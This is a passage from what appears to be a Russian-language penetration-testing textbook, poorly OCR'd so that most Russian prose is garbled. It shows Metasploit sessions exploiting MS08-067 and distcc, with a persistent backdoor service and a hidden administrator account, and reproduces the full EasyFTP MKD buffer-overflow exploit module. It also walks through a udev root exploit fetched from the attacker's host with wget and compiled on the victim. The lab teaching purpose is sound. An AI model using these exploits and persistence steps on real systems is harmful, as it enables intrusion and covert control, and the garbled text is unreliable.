YTO Takas orepaius Obljia SBHO paspelneHa (B IMCbMEHHON (popMe) Ha sTarnax ompeje-
JieHrs 00J1acTH eACTBUS 1 IPABUJI B3AUMOAEHCTBHS:

msf exploit(ms@8_067 netapi) > exploit

] Started reverse handler on 192.168.0.3:4444

] Automatically detecting the target...

] Fingerprint: Windows XP Service Pack 2 - lang:English

] Selected Target: Windows XP SP2 English (NX)

] Attempting to trigger the vulnerability...

] Sending stage (749056 bytes) to 192.168.0.7

] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1032)

t Tue Nov 16 19:21:39 +0000 2010

meterpreter>ps

292 alg.exe Xx86 0 NT AUTHORITYLOCAL SERVICE
C:WINDOWSSystem32alg.exe

1840 csrss.exe Xx86 2 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32csrss.exe

528 winlogon.exe x86 2 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe

240 rdpclip.exe  x86 0 CUSTDESKMomin Desktop
C:WINDOWSsystem32rdpclip.exe

1060 userinit.exe x86 2] CUSTDESKMomin Desktop
C:WINDOWSsystem32userinit.exe

1544 explorer.exe x86 2] CUSTDESKMomin Desktop

C:WINDOWSExplorer.EXE

meterpreter> migrate 1544

[*] Migrating to 1544...

[*] Migration completed successfully.
meterpreter> run metsvc -h

meterpreter> run metsvc

[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory
C:DOCUME~1MOMIND~1LOCALS~1TempoNyLOPeS. ..

[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*] Starting the service...

* Installing service metsvc

* Starting service

Service metsvc successfully installed.



262 Mnasa 8 e Lenesas skcnnyaTtauus

Wrak, 11st 11e1eBoit ManmiHbl GbLT 3atmy e 6aka0p. /1t B3anMOIeHCTBIS ¢ HATITIM
GIKTOP-CEPBUCOM 3aKPOEM TeKyTIHi cearc Meterpreter u, Koria Ham moTpebyeTcst, wic-
osb3yeM multi/handler ¢ oJsie3HOM HArpy3Koi windows/netsve_bind_tcp:

meterpreter> exit

[*] Meterpreter session 1 closed. Reason: User exit msf

exploit(ms@8_067 netapi) > back msf> use exploit/multi/handler msf
exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/
metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337

msf exploit(handler) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf
exploit(handler) > exploit [*] Starting the payload handler... [*] Started
bind handler [*] Meterpreter session 2 opened (192.168.0.3:37251->
192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010 meterpreter>getuid Server
username: NT AUTHORITYSYSTEM

YT00B! Ha IIEJIEBOM KOMITbIOTEPE BKJIKOUYUTD yIaJeHHbII JOCTYI K Pabodyemy ctony,
nonpobyeM UCIOJIb30BaTh JAPYTOH TI0JIe3HbIN ciieHapuii Meterpreter: getgui. B caeny-
[OIIIEM YIIPaKHEHNY OYJIET CO3/[aHa HOBAs YUETHAsI 3aIUCh TIOJIb30BATEIS, 1, €CIIU CIIysKOa
yIasIeHHoro Pabouero ctona Gbiia OTKIII0YEHA, BKITIOUNM €¢:

meterpreter> run getgui -u btuser -p btpass

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
] Carlos Perez carlos_perez@darkoperator.com

] Language set by user to: 'en_EN'

] Setting user account for logon

] Adding User: btuser with Password: btpass

] Adding User: btuser to local group 'Remote Desktop Users'
] Adding User: btuser to local group 'Administrators’

] You can now login with the created user

] For cleanup use command: run multi_console_command

r

Tenepb ¢ TOMOIILIO KOMAH/IbI rdesktop MbI MOKEM BOWTH B HaIILy 1EJIEBYIO CHCTEMY.
J17151 3TOTO 3aITyCTHM eTlle OJIFTH TePMITHAJ 1 BBEJIEM CJIeTYIONIYI0 KOMaHY:

# rdesktop 192.168.0.7:3389

OG6paruTe BHUMAHUE: €CJTM Y BAaC HA IIEJIEBOM KOMIIBIOTEPE JIJIST JII0OOTO CYIIECTBY-
IOTIETO MOJb30BATESA Y/Ke €CTh B3JIOMAHHBINA MAPOJIb, TO JJISI BKIIOUYCHUST CIYKObI
y/laJieHHOTO Paboyero ctona MOYKHO IIPOCTO BBIIIOJTHUTBL KOMaH/Ly run getgui -e. B atom
cJydae HOBOTO TIOJIb30BaTesist 100aBisTh He morpebyercst. Kpome Toro, He 3a0yapre
OYNCTUTH CBOM TPEKU B CHCTEMe, BBITIOJIHUB ClieHapuii getgui/clean_up, yKazaHHBIN
B KOHIIE TIPE/bLAYIIEro BbIBOJA.

Kak pacrputs 061acTh ataku, oayurB Gosree TIYOOKHUiT TOCTYII K TIETIEBOI CETH, He-
noctyiHoi usBHe? Metasploit ¢ oMoIbio KoMaH/IbI route add targetSubnettargetSub-
netMaskSessionId (Hanpumep, route add 10.2.4.0 255.255.255.0 1) IPEJIOCTABIISAECT
BO3MOKHOCTH POCMOTPA U JI0OABJIEHUS B 1[EJIEBYIO CETh HOBBIX MapIIPYTOB. 3/1eCh
napaMmeTp SessionId yKa3blBaeT Ha CyIeCTBYIOIIUII ceanc Meterpreter (111103), a 1a-
pameTp 11eJIeBOH TIOJICeTH SBJISIETCST IPYTUM CETEBBIM a/ipecoM (I IBOMHBIM CETEBBIM
azpecoMm Ethernet), KOTOPBII HAXOAUTCS 3a MPEIEIAMU HAIIIEH CKOMITPOMETHPOBAHHOM
iesi. Kak Tosibko Mbl yeranoBum Metasploit st Mmapiipytusaiiuu Beero Tpaduka uepes
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CKOMHpOMeTI/IpOBaHHbeI ceaHC XOCTa, MbI 6yaeM TOTOBbBI IIPOHUKHYTH /laJIbIII€ B CETb,
KOTOpasa 0OBIYHO C HaNIei CTOPOHDBI HE MapUIPYTU3NUPYETCA. ITO U eCTh 06paTHa$1 CBA3b.

HanncaHne Moaynemn akcnionTa

PazpaboTka aKCILIONTa — OJIHA U3 CaMbIX WHTEPECHBIX (hyHKINI ppeiivBopka Metasploit.
B aTom paszesie Mbl KpaTKO 0OCYANM OCHOBHBIE IIPOGIEMBL, CBS3aHHbIE C PA3BIUTUEM aTa-
KU, ¥ HA TIPUMEPe CYLIeCTBYIOIIeli 6asbl JaHHBIX pasbepeM HanboJiee BasKHbIe MOMEHTHL.
TeM He MeHee, IPEsKE YeM HalcaTh CBOi COOCTBEHHBII MOYJIb 9KCIIONTA, U3YUUTE
sI3BIK TIporpamMmupoBadst Ruby. C pyroit cTOPOHBI, TPOMEKYTOUHbBIE HABBIKU 0OPAaTHOMN
UH/KEHEPUH U MPAKTUYECKOE IIOHUMAHNE MHCTPYMEHTOB O0HAPYKEHUS YI3BUMOCTEN
(HampuMep, 3aTyMaHUBATEIN U OTJIAYUKH ) 00JIeryaior cosaanie sKcioiita. O6parure
BHUMaHMeE, 4TO 9TOT Pas/iesl peCcTaBseT coO0H TOIbKO BBEEHHE B TEMY, a HE MOJTHOE
PYKOBOJICTBO.

Jlist mpumepa Mol BoiOpastu akciioit EasyFTP Server <= 1.7.0.11 MKD Command
Stack Buffer Overflow. Ha ero ocHoBe MbI paccMOTPUM HCIIOJIb30BAHKE YSI3BUMOCTU
nepenojHenus 6ydepa B npunoxkernn Easy FTP Server. Bl Moxkere HOPTUPOBATh
3TOT MOJYJIb JJIst TOJ0OHON YSI3BUMOCTH, OOHAPY/KEHHOU B APYTUX TPUIOKEHUSIX
FTP-cepBepa, n B Hy:;kHOE BpeMs a(PeKTUBHO ero UCToab30BaTh. Ko akciioiita Ha-
XOJIUTCA 110 ajfpecy /usr/share/metasploitframework/modules/exploits/windows/
ftp/easyftp_mkd_fixret.rb.

#H

# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##

[Ipeabiaymmii Kog — 6a30BbIN 3aT0JI0BOK, IIPEACTABASIONUMN nMs (aiisa, HoMep
peIaKIuy U 3HAUCHUS 1aThl ¥ BDEMEHU dKCILIONTA:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core’

Bubimorexa MSF core B Hauasie sKCILIoNTa TpeOyeT MHUIMATU3ALNN:
class Metasploit3 <Msf::Exploit::Remote

B npenpinyiem xkoze xkiace Exploitmixin/ mpefocTaBisieT pa3ainyHble TapaMeTphl
u MeTobl st ynaneHubix TCP-coepmnennit, Hanpumep RHOST, RPORT, Connect(),
Disconnect() m SSL(). Cremytomuii Ko/l TOKa3bIBAET YPOBEHDb PAHTa, TPUCBOCHHBIN
AKCIJIONTY Ha OCHOBE €T0 YaCTOTO CIPOCa U UCTIOJIH30BAHUS:

Rank = GreatRanking
B caemytonem kozie kiace Ftp mixin/ ycranaBnausaet coequnenne ¢ FTP-cepsepom:

includeMsf::Exploit::Remote: :Ftp



264 Mnasa 8 e Lenesas skcnnyaTtauus

Cuiemyronuii Koz pegocrasiisger o0ue ceeHns 06 9KCIIONTe U yKa3biBaeT Ha
U3BECTHBIE CCHLIKU:

def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',
'Description’ => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11 and earlier. EasyFTP fails to check input size when parsing
'MKD' commands, which leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order
to access the 'MKD' command, you must have access to an account that
cancreate directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I've referred to as
"fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264byte
buffer by 'fixing' the return address post-exploitation. See
references for more information.
1
'Author’' =>
[
'x90c', # original version
'jduck' # port to metasploit / modified to use fix-up stub
(works with bigger payloads)
1,
‘License' => MSF_LICENSE,
'Version' => '$Revision: 9935 $',
'References' =>
[
[ 'OSVDB', '62134' ],
[ "URL"', 'http://www.exploit-db.com/exploits/12044/"' 1,
[ "URL", 'http://www.exploit-db.com/exploits/14399/" ]
1,

CJIe,HyIOH_lI/II';I KO/l YKa3bIBa€eT OJIE3HOM Harpyske OUMCTUTb cebsd nocJie 3aBEpHICHUA
IIporecca BbIITOJTHEHU A

'DefaultOptions’' =>

{
'"EXITFUNC' => 'thread'

Caepyromuii hparMeHT Koza onpezenser 512 6aiit mpocTpaHcTBa, JOCTYITHOTO
JUISL KOzla 000JI0UKH, IIEPEeYKCIseT IJI0XIMe CUMBOJIbI, U3-3a KOTOPBIX MOKET BO3HUK-

HYTb OIKOKa 1 IPEKPATUTCS JOCTABKA [I0JIE3HBIX JaHHBIX, U OTKJII0YAeT 3all0JHEHe
NOP:

s
'Privileged' => false,
'Payload’' =>



{

'Space' =>

512,

'BadChars' => "x@0x0ax@dx2fx5c",
'DisableNops' => true

}s
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Cirienyrotuii hparMeHT KoJ/la COJIEPKUT MHCTPYKIIUK O TOM, Kakas 1aaTdopma siB-
JisgeTcst 1eseBoit u onpeenset ysa3pumbie 1eau (ot 0 10 9). Ilepeuncienst pazinyHbie
Bepcuu Easy FTP Server (1.7.0.2—1.7.0.11), xaxaas u3 KOTOPBIX TPEACTABASECT YHU-
KaJIbHbII 00paTHBIN aapec Ha OcHOBe GuHapHOro daiiaa npunoxkenus (ftpbasicsvr.exe).
Kpowme Toro, mo6asiiena ata pacKpPhITHSA SKCIIIONTA, & MEJEBOH 00BEKT MO YMOTIAHIIO
ycranonien B 0 (v1.7.0.2):

'Platform’ =
'Targets' =>
[
[ 'Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
1,

> 'win',

Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.

0.2',
exe
0.3",
exe
0.4',
exe
0.5',
exe
0.6",
exe
0.7',
exe
0.8",
exe

.0.9',

exe
0.10"',
exe
0.11",
exe

'‘DisclosureDate’ => 'Apr 04 2010°,
'DefaultTarget' => 0))

{
{
{
{
{
{
{
{
{
{

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

0x004041ec

0x004041ec

0x004041dc

0x004041al

0x004041al

0x004041al

0x00404481

0x00404441

0x00404411

0x00404411

I
1s
I
1
1
I
1
1
I
1

B caenyroriiem kojie hyHKIUs check () ONPEAEsIeT, SIBJSIETCS JI OOBEKT YS3BIUMBIM:

end

def check
connect
disconnect

if (banner =~ /BigFoolCat/)
return Exploit::CheckCode: :Vulnerable

end

return Exploit::CheckCode: :Safe

end
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Caemyiomuit Koz onpejensger pyHKIMIO, KOTOpast FeHEPUPYET YBEJINYEHNE AJIMHDI
koauposku (NOP sleds) mist nopnepsxku IDS/IPS/AV-ykioHenust. HekoTopsie cuu-
tator NOP sleds GbICTpbIM 1 IPA3HBIM pelIeHUeM 3TOi IPoOJEMbL U LyMAIOT, YTO MX
HE CJIe/lyeT UCIIOJIb30BaTh, ECIM HET 0COOEHHO BECKO IPUYMHBL. J[JIsl IPOCTOTHI B 9TOM
IpuMepe HAIMCAHUS MOJIYJIS MbI OCTaBUJIN (DYHKIIMIO B KOJIE:

defmake_nops(num); "C" * num; end

Curemyiotiast ripotie/rypa hukcupyer 0OpaTHbIil apec, ¢ KOTOPOrO MOKHO BBITTOJIHUTD
MOJIE3HYT0 HATPY3KY. TEXHUUECKN ATO PEMIaeT mpobaeMy a[pecarini CTeKa:

def exploit
connect_login

# NOTE:
# This exploit jumps to ebp, which happens to point at a partial version
# of the 'buf' string in memory. The fixRet below fixes up the code stored
# on the stack and then jumps there to execute the payload. The value
# inesp is used with an offset for the fixup.
fixRet_asm = %q{

movedi,esp

subedi, oxfffffelo

mov [edi], ©xfeedfed5

addedi, oxffffffi4

jmpedi

}

fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new,
fixRet_asm).encode_string

buf = "'

ITepBonavanbio Gydep dKCILIONTA COAEPAKUT KOAMPOBAHHBII 0OPaTHBII afpec 1 He-
yropsgoderHbie HCTPYKImu NOP:

print_status("Prepending fixRet...")
buf<<fixRet
buf<<make_nops(0x20 - buf.length)

Cureyiomuii KoJi BO BpeMs BHITTIOJTHEHUST TOOABIISET K HAIIEMY 9KCILIONTY AMHAMI-
YeCKM CTeHEePUPOBAHHBIN KO 0O0TIOUKH:

print_status("Adding the payload...")
buf<<payload.encoded

Ko, mpuBesieHHBIHN 1ajiee, UCTIPABJISET JaHHbIE CTEKA W BO3BPAIAETCS O aJIpecy,
cozepskamemycst B 6ydepe Koza 060109KM:

# Patch the original stack data into the fixer stub

buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target address...")
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

B Kom1Ie, MCI0Ib3YS IPEAbIAYIINI KO, MBI OTIIPABJISIEM HALI 3aBEPIIEHHbIN Oydep
B KOHKPETHYIO T1eJib, UCITOIb3Ys yS3BUMYIO KOMaHy TioctayTenTudukamnmu MKD. [To-
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CKOJIbKY KoMaHa MKD Ha cepsepe Easy FTP ysassuma mist nepenosntenus Oydepa Ha
OCHOBE CTeKa, KOMaH/a buf MO3BOJINT MEePENOJHUTD 1IeJIeBOI CTEK U MCIIOJIb30BaTh
I[EJIEBYIO CUCTEMY, BBITIOJTHUB TIOJIE3HYIO HATPY3KY:

print_status("Sending exploit buffer...")
send_cmd( ['MKD', buf], false)

SaBepI_HI/ITe coelMHeHrEe C IIOMOIIbIO CJIEAYIONIErO Ko/Jia:

handler
disconnect
end

end

Metasploit ocHalleH MoIe3HBIMI HHCTPYMEHTaMU, TakuME Kak msfpescan jiyist Win32
u msfelfscan st cucrem Linux, KoTopbie MOTYT TOMOYB BaM B MOMCKE TIETEBOTO 0Opar-
HOro ajipeca. Hampumep, 4To0bI HATH YCTONUUBBIN 0OPATHBII afipec U3 BEIOPAHHOTO
(haiira IpUIIOKEHUST, BBEJIUTE:

msfpescan -p targetapp.ext

Pe3ome

B 91001 r1aBe MbI yKa3aau Ha HECKOJIbKO KII0YEBhIX 001acTel, HeOOXOMMMBIX IS I1e-
JieBoi akcrryatanuu. CHavasia Mbl IPEACTaBUAN 0030p MCCIEA0BAHUN YI3BUMOCTH,
B KOTOPOM IIOA4EPKUBAJIOCH, YTO UCIIbITATE/]b HA IPOHUKHOBEHHUE JOJKEH 00/1a1aTh
KOHKPETHBIMU 3HAHUSMU U HaBbIKaMu. OHU MTPUTOAATCS /I ONEHKU YSI3BUMOCTH.
3areM MBI IPEICTABIIIN CIIMCOK OHJIAHH-PETIO3UTOPUEB, M3 KOTOPBIX BBl MOJKETE MTOJTY-
YUTD Psil YOJUYHO PACKPHITHIX YSA3BUMOCTE M KOIOB 9KCILIONTOB. B 3aKmounTesbHOM
paszesie Mbl IPUBEJH MTPAKTHUYECKUT TTPUMEP NCITOTH30BAHNS YCOBEPITEHCTBOBAHHOTO
MHCTPYMEHTapus 9KCIUIyaTany o/ HasBanuem Metasploit. ITpeiaraembie yrpaxk-
HeHWs MpeHa3HAYEHbl TOJIBKO /IS TOHUMAHUS TOTO, KaK C TIOMOIIbIO TAKTHYECKUX
METOJIOB HKCILIyaTAIlM! BBITIOJHUTH aTaKy Ha IeJIeBOil KOMIbIoTep. Kpome Toro, MbI
MHTEPIPETHPOBAIN HIeU Pa3pabOTKI SKCILIONTOB, aHAIU3UPYSI KaXKIblii 1ar odpasia
KOJla 9KCILIONTa 13 (hpeiiMBOPKa, YTOOBI TOMOYb BaM IOHSITh OCHOBHYIO CTPYKTYPY
U CTPATETUIO CO3IaHUS.

B caienyroneii riiaBe Mbl 00CYIMM IPOIECC CKATALMK TPUBUJIEIUH U HOAIEP/KAHUS
JIOCTYTIA C UCIIOTb30BAHNEM PAa3JIMUYHbIX MHCTPYMEHTOB ¥ METO/IOB.



[oBbILEHNE NPUBUAETNIA
1 noadepkaHue aocryna

B mpenpiayIeii tiase Mbl pacCKa3aiii, Kak 3a/[efiCTBOBATh OGHAPYKEHHbIE B ITPOIecce
CKaHMPOBAHUS 11eJIeBON MAIIMHBI yA3BUMOCTH. OTHAKO YPOBEHD JOCTYIIA TIPU 9KCILIya-
TAI[U¥ CUCTEMBI 3aBUCUT OT UCIOB3yeMOii ciryskGbl. Harpumep, eciiu Bbl UCTIOb3yeTe
VSI3BUMOCTD B BEO-TIPUIIOKEHNH, Y BAc, CKopee Beero, GY/IeT TAaKOH JKe YPOBEHb J0CTYa
K YYETHOI 3a11CH, 3aMyCKAIONIEH 9Ty cayKOY, HATPUMED WWW.

B 70101 ritaBe BbI y3HaeTe, Kak pacIiMpUTh AOCTYII K CUCTEME, a 3aTeM TToTpodyeTe
COXPAHWTD JOCTYT K CKOMIPOMETUPOBAHHON crcrtemMe. ITo moTpedyeTest st BOC-
CTAHOBJICHUS COCAMHEHUS, €CJIM OHO GBIJIO YTPAueHO, a BAM CHOBA HYKHO BEPHYTHCS
K HEMY.

TexHunuyeckne TpeboBaHus

s ool rasbl, kpoMe Kali Linux, BaM 1moTpebyioTcsl yCTaHOBJIEHHBIE B CUCTEME
Metasploitable 2 u Nmap.

MoBbILLEHNE NPUBUNIETUN

IcKasalyst IPUBUIIETHIT MOKeT ObITh OITPe/iesieHa KaK MPOIIECC UCTIOJIb30BaHUS YsI3BHU-
MOCTH JIJISI TIOJTyYEHUS TIOBBIIIIEHHOTO IOCTYTIA K CUCTEME.
Cyl1recTByeT jiBa TUIIA SCKAJIAIIUK [TPUBUJIETUI.

O BeprukaabHas sckajauus npusuiernii. [losbsoBaTennb ¢ 6ojiee HU3KOI IPUBHIIE-
rue MOXKeT IMOJIydUThb JOCTYII K beHK]_[I/IE[M TIPUJIOJKEHUA, ITpEe/THAa3HAYECHHDIM JIJIS1
110JIb30BATEJISI C CAMOH BBICOKOM TTpuBHUiIerneil. Hampumep, MOKHO TTIOJYYUTD JIOCTYIT
K cHCTeMe YIIPaBICHUS KOHTEHTOM, €CJIU MOJIb30BATEb TOJYJaeT JOCTYI K (DyHK-
UM CUCTEMHOTO aJIMUHUCTPATOPA.

O TopusoHTaJbHAS dCKAJANMS MPUBUIETHIA. DTOT TUI IPUMEHUM, KOT/Ia OObIYHbII
110JIb30BaTEJIb MOJIYUaeT JOCTYI K DYHKIUIM, TIpe/lHa3HauYeHHbIM JIJIsI IPYTUX
00BIUHBIX T0JIb30BaTe e, HampumMep, B PUIOKEHUN HHTEPHET-OaHKUHTA TI0JTb30-
BaTesib A MOJKET TOJIYYUTh JIOCTYI K MEHIO [T0JIb30BaTeis b.
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Huke IIPpUBE/ICHDbI HAlIPpaBJICHHW A 9CKaJJIalln HpHBH]IeFHﬁ, KOTOPbIE€ MOKHO MCITOJIb-
30BaThb JJI MMOJYUYEHUA HECAaHKITUOHUPOBAHHOT'O IOCTYIIA K IIEJI.
Q JlokampHasg IKCITyaTallusd.

Q Ucnoab3oBanue HEMPAaBUIBHOM KOHGUTYpaIUK, HATPUMED IOMAIITHETO KaTajiora, Co-
JiepeKaIero 3akpbIThiil kiod SSH, mpe/iocTaBisionuii J0CTYI K APYTUM MalIiHAM.

O Ucnosb3oBaHue Ha 1eJ1eBON Malinte c1adbIX mapoJieil.
Q UccnenoBanue ceTeBOTo TpaduKa JIJIst 3aXBaTa yUETHBIX JAHHBIX.

Q lVMuramusa ceTeBbIX IIaKETOB.

JlokanbHaga akcnnyatauus

B atom pasjiesie Mbl [JIA ITOBbIIIEHU A Halein IIPUBUJIETUH BOCIIOJIb3yEeMCs JIOKAJIbHBIM
AKCILJIOMTOM. 33.lIeI>'ICTByeM cjaeaytonime BupTyaJJbHbl€ MalllMHBI.

O B kauectse neseBoil MamHbl BeicTynuT Metasploitable 2.
Q Arakyrouieit mamnoii 6yzer Kali Linux.
CHayajia MBI OITpe/Ie/IUM JIOCTYITHBIE Ha 11eJIeBOi MallliHe OTKPBIThIE CETEBbIE CIIYK-
6b1. /1715t 9TOTO MCTIOMIB3YeM CKaHep mopToB Nmap 1 CIeAyIoNy0 KOMaH/LY:
nmap -p- 172.16.43.156

B aroii komaH/Ie ¢ TOMOIIBIO TapaMeTpa -p- HacTporM Nmap /711 CKAHUPOBAHMS BCEX
nopros (ot 1 10 65 535). Ha puc. 9.1 nokasan pe3yJibTaT BbIITOJTHEHIS 9TO KOMaH/IbL.

open shell

open rmiregistry
open ingreslock
open nfs

open ccproxy-ftp

open mysqgl

open distccd
open postgresqgl
open vnc

open X1l

Puc. 9.1. Pe3ynbTaT BbINOHEHUS KOMaHAbl nmap -p-

[TpoBenst HEKOTOpOE HccaenoBanue B VIHTepHETE, MBI OOHAPYIKUIIH, 4TO CITysKOa
distced mMeeT ysa3BUMOCTB, KOTOPAst MOJKET MTO3BOJIUTE 3JI0YMBITIIEHHUKY BBITTOTHSTH
npousBosbHbie KoManbl. Ciryxb6a disteed ncmosbyercst it MactrabupoBaHist 60Tb-
MIUX 33[]aHNI KOMIUJISATOPA B Psijie OIMHAKOBO HACTPOEHHBIX CUCTEM.

3arem Mbl uiieMm B Metasploit 9KCIIONT A HaliieHHOU YA3BUMOMN CJIyKObI
(puc. 9.2).
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msf = search ‘distccd

(Matching Modules

Disclosure Date Rank Description

misc/distcc_exec 2002-02-

Puc. 9.2. lMNowuck akcnnoiita B Metasploit ans HangeHHoW ys3BUMOCTYH

Ha puc. 9.2 Buzto, uto B Metasploit ectb akcmIoiiT aiist ysssumMoii ciry:k0si disteed.
[ToripoGyeM ncronb3oBath ero (puc. 9.3).

= use exploit/unix/misc/distcc_exec
exploit(distcc c] » set RHOST 152.168.0.30
T == 192.168.0.30

exploit(distcc exec) = exploit

Started reverse double handler

Accepted the first client connection...
epted the second client connection...

Command: echo ad@7plGrwFMWcA7U;

Writing to socket A

Writing to socket B

Reading from s
Reading from so
[*] B: "ad@7plGrwFMWcA7UN\r\n"
[*] Matching...
] [ et e (B
[*] Command shell session 1 opened (182.168.0.32:4444 -= 192.168.0.30:54387) at
2016-04-09 18:45:52 -B700

whoami
daemon

Puc. 9.3. Vcnonb3yem HaaeHHbIV SKCNIonT
MbI MOKeEM BOCITOJIb30BaThCSI CEPBUCOM U BBIJIATh KOMAH/IY OIlePAIlMOHHON cucTeMe,

4TOGBI HAWITY HAIy IPUBUJIETHIO — daemon:

uname -r

Ncnonb3yeTcs Bepcus sapa 2.6.24-16-server.

10
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Mu! rickanu B 6ase JaHHBIX exploit-db u Hanuim akcroiT (http://www.exploit-db.com/
exploits/8572/), KOTOPBII MO3BOJIUT HAM MOBBICUTH HANIY IIPUBUJIETHIO /10 root. 3aTeM Mbl
umeM skciioiT Kali Linux 1o repmuny udev, KOTOPbI COOTBETCTBYET 9KCILIONTY Ha
BeO-cTpanmIiie exploit-db:

searchsploit udev
[Tocste BBITIOTHEHNS 2TOYW KOMAHBI MBI TIOJIYIUM CJIEAYIONINE BBIXOIHbBIE TaHHBIC

(puc. 9.4).

root@kali:~# searchsploit udev

ploitdb/platforms)

- UDEV Local Privil
UDEV = 141 - Local Privileg |

{ernel 2.
Kernel 2
udev - e Escalat |

6
6

Puc. 9.4. [MonyyeHHble BbIXOAHbIE JaHHbIE

[lasee HaM HY)KHO TIepEHECTHU 3TOT IKCILTOUT ¢ Hallled aTaKyolel MalluHbl Ha
CKOMTIPOMETHUPOBAHHYI0. MBI MOXKEM 3TO CIeIaTh, UCITOIb3Y ST KOMAHAY wget CKOMITPO-
METHPOBAHHOU MAITUHBI. Bo-TIepBBIX, MBI TTepeiaeM 3KCIJIONT B Ty MAIKy aTaKyoIIei
MallMHbBI, B KOTOPOIl CKOMIIPOMETUPOBaHHas MaliHa OyeT uckath daita. Ito6bl cko-
MIPOBATD 9KCILJIOUT, BBEANUTE B KOMAH/IHYIO CTPOKY TaKyI0 KOMAaHY:

cp /usr/share/exploitdb/platforms/linux/local/857s.c /var/www/html

3arem yOenurTech, uTo cepsep apache? samymien. /[7s1 9T0r0 BBEAUTE CIEAYIONIYIO
KOMaH/Ly:

service apache2 start
MpbI MOKEM 3aTPY3UThH 9KCIJIONT ¢ HAIEH aTaKyIoIIeil MaIlTHbL, UCTIOIb3YS Ha CKOM-

[IPOMETUPOBAHHON MalnHe KoMaHay wget. Ona Oy/ieT McKaTh Ha aTaKyloleil MalHe
manky /var/www/html (puc. 9.5).

wget 172.16.43.150/8572.c -0 8572.c
--21:09:08-- http://172.16.43.150/8572.c

== "8572.c'
Connecting to 172.16.43.150:80... connected.
HTTP request sent, awaiting response... 200 0K

Length: 2,878 (2.8K) [text/x-csrc]
el s 100% 562.11 KB/s

21:09:08 [562.11 KB/s) - "B572.c' saved [2878/2878]

Puc. 9.5. Mouck Ha aTakytoLer MalmnHe nanku /var/www/html
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ITocre yCHeLHHOfI 3arpys3Kmn AKCILTIONTA MBI KOMITUJINPYEM €T0 Ha HEJIEBOfI MallInHe,
BBE€/SI KOMaH/ly gcc:

gcc 8572.c -o 8572

Tenepp HaII HKCIITIONT TOTOB K MCIIONB30BAaHNIO. 113 MCXOMHOTO KO/a MBI Y3HAIH,
YTO B HTOM HKCIIONTE B KAUECTBE apTYMEHTA HYIKHO YKA3aTh UdeHmupuxamop npo-
uecca (PID) coxera udevd netlink. MbI MOKeM MTOJTyYUTh 3TO 3HAUEHWE, BBITIOJHUB
CJIEIYIONIYIO KOMAH/LY:

cat /proc/net/netlink

Ha puc. 9.6 mokazan pe3yJsibTat ee BbIIIOJTHEHUSI.

cat /proc/net/netlink

sk Eth Pid Groups
ddf@cBE0 0 Glelelelelelele!
deSbedl0 4 clelelelelelele)
dd388800 7 Glelelelelelele)
elelelelelelele)
clelelelelelele]
EEEEEEAL
Glelelelelelele)
Clelelelelelele)
Clelelelelelele)

=]
1]
3

Dump

peeeeees
ololelelolelele
olelelelololele
olelelelololele
peeeeees
peeeeees
elelelelelelelel
elelelelelelele]
efelelelelelele]

dd820600 9

dd82c400 10
df93fcl0 15
ddfBccll 15
ddf14800

df58b00G0O 18

[ %)}
-~
L

Do ONODEEE
D00 EEEEEE S
SIS I B I B B L

Puc. 9.6. Pe3ynbTaT BbiNONHEHMS KOMaHAb! cat /proc/net/netlink

Ber Takske moskete nosrtyunts PID udev, paBHBIIT 1, BBITIOJTHUB CJIEAYIONIYI0 KOMAH/TY:

ps aux | grep udev

Ha puc. 9.7 nokazan pe3yJibTaT BbIIIOJIHEHWSI BBEIEHHON paHee KOMaH/Ibl.

ps aux | grep udev

root G : S<s Febll . evd --daemon
]

daemon 3 : RN 21:11

Puc. 9.7. KomaHpaa ps aux | grep udev BbinosnHeHa

O B peanbHOM TECTMPOBaHMM Ha MPOHWKHOBEHWE Bbl MOXKETE HACTPOUTL Te-
|:| CTOBYIO MalLMHY C TOW XXe BepCcueid siapa, UTo U Yy LieeBoro obbekTa Ass
TECTUPOBaHMS KCIJIONTA.

3 panee coOpanHoil nH(GOPMAIUY O 1[eJIeBOI MAIITMHE Mbl 3HAEM, UTO Ha KOMIIbIO-
Tepe ycranossieH Netcat. ITocre 3amycka akcrioiita Mbl GyieM Hcmoib3oBath Netcat
IS TIOIKJIFOUEH U K Halllel MaliuHe, YToObI II0JIyYUTh root-I0CTYII K MaIlliHe 5KePTBHI.
